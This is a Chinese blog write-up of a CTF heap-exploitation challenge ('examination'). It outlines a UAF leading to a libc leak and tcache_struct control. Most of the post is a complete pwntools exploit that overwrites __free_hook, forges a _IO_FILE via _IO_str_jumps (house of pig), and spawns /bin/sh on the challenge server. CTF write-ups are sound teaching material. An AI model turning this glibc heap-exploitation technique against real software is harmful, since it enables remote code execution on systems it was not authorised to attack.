*CTF-examination
196082 慢慢好起来

examination

太菜了只做了第一道题,第二道题死活找不到漏洞点

流程分析

这道题的流程挺明确的,因为是c语言逆向起来比较简单这里就不再赘述逆向过程了。

总的来说程序就是下图所示的这个结构

image-20220416234427867

首先就是程序存在一个可以让我们任意地址+1的函数,利用此函数造成UAF,进而泄漏出libc地址,随后继续利用UAF控制结构体的指向,进而控制tcache_struct最后使用house of pig的最后一步即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *

elf = ELF('./examination')
# r = process('./examination')
r = remote('124.70.130.92', 60001)
libc = ELF('./libc-2.31.so')

context.log_level = 'debug'
context.arch = 'amd64'


def menu(choice):
r.sendlineafter(b'choice>> ', bytes(str(choice), encoding='utf-8'))


def create(question_num):
menu(1)
r.recvuntil(b'enter the number of questions: ')
r.sendline(bytes(str(question_num), encoding='utf8'))


def score():
menu(2)


def write_review(idx, comment, size=None):
menu(3)
r.sendlineafter(b'which one? > ', bytes(str(idx), encoding='utf-8'))
if size is not None:
r.recvuntil(b'please input the size of comment: ')
r.sendline(bytes(str(size), encoding='utf-8'))
r.sendafter(b'enter your comment:', comment)


def delete(idx):
menu(4)
r.recvuntil(b'which student id to choose?')
r.sendline(bytes(str(idx), encoding='utf-8'))


def change_role(role):
menu(5)
r.recvuntil(b'role: <0.teacher/1.student>: ')
r.sendline(bytes(str(role), encoding='utf-8'))


def check_review(addr=None):
menu(2)
if addr is not None:
r.recvuntil(b'add 1 to wherever you want! addr: ')
r.sendline(bytes(str(addr), encoding='utf-8'))


def xor_pray():
menu(3)


def set_mod(score, mod=None):
menu(4)
if mod is not None:
r.recvuntil(b'enter your mode!')
r.send(mod)
else:
r.recvuntil(b'enter your pray score: 0 to 100')
r.sendline(bytes(str(score), encoding='utf-8'))


def change_id(idx):
menu(6)
r.recvuntil(b'input your id: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


def gift(content):
menu(6)
r.recvuntil(b'never pray again!')
r.send(content)


r.recvuntil(b'role: <0.teacher/1.student>:')
r.sendline(b'0')
create(9)
create(1)
change_role(1)
change_id(1)
xor_pray()
change_role(0)
score()
write_review(1, b'dzhsb', 0x350)
write_review(0, b'a' * 240 + flat(0x460, 0x261), 0x350)
change_role(1)
change_id(1)
check_review()
r.recvuntil(b'Good Job! Here is your reward! ')
chunk_base = int(r.recvuntil(b'\n', drop=True), base=16) - 0x2f0
print(hex(chunk_base))
r.recvuntil(b'add 1 to wherever you want! addr: ')
r.send(bytes(str(chunk_base + 0x339), encoding='utf-8'))
change_role(0)
delete(1)
create(1)
write_review(1, b'wow', 800 - 0x20)
change_role(1)
change_id(0)
check_review()
r.recvuntil(b'here is the review:\n')
main_arena_96 = u64(r.recv(8))
print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.symbols['__malloc_hook']

change_role(0)
create(9)
write_review(
0, flat(chunk_base + 0x6d0, 0, 0, 0, 0, 0x21, 0x1, chunk_base + 0x10,
0x290))
write_review(
2,
b'7' * 0xc0 + p64(libc.symbols['__free_hook'] + libc_base - 0x10) + b'7' *
(0x200 - 8 * 2 - 0xc0) + p64(libc_base + libc.symbols['_IO_2_1_stderr_']))


def pack_file(_IO_write_base=0,
_IO_write_ptr=0,
_IO_buf_base=0,
_IO_buf_end=0,
vtable=0):
IO_FILE = p64(0)*3+p64(0) + \
p64(_IO_write_base)+p64(_IO_write_ptr) + \
p64(0)+p64(_IO_buf_base)+p64(_IO_buf_end)
IO_FILE = IO_FILE.ljust(0xc0, b'\x00')
IO_FILE += p32(0)
IO_FILE = IO_FILE.ljust(0xd8, b'\x00') + p64(vtable)
return IO_FILE


_IO_str_jumps = libc_base + 0x1e9560
print(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
file_struct = pack_file(
1, 0xffffffffffff, libc_base + libc.symbols['_IO_2_1_stderr_'] + 0xe0,
libc_base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x18, _IO_str_jumps)
file_struct += b'/bin/sh\x00' + p64(system_addr) * 2
gift(file_struct + b'\n')

# gdb.attach(r)

r.interactive()

house of pig源码层面分析

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量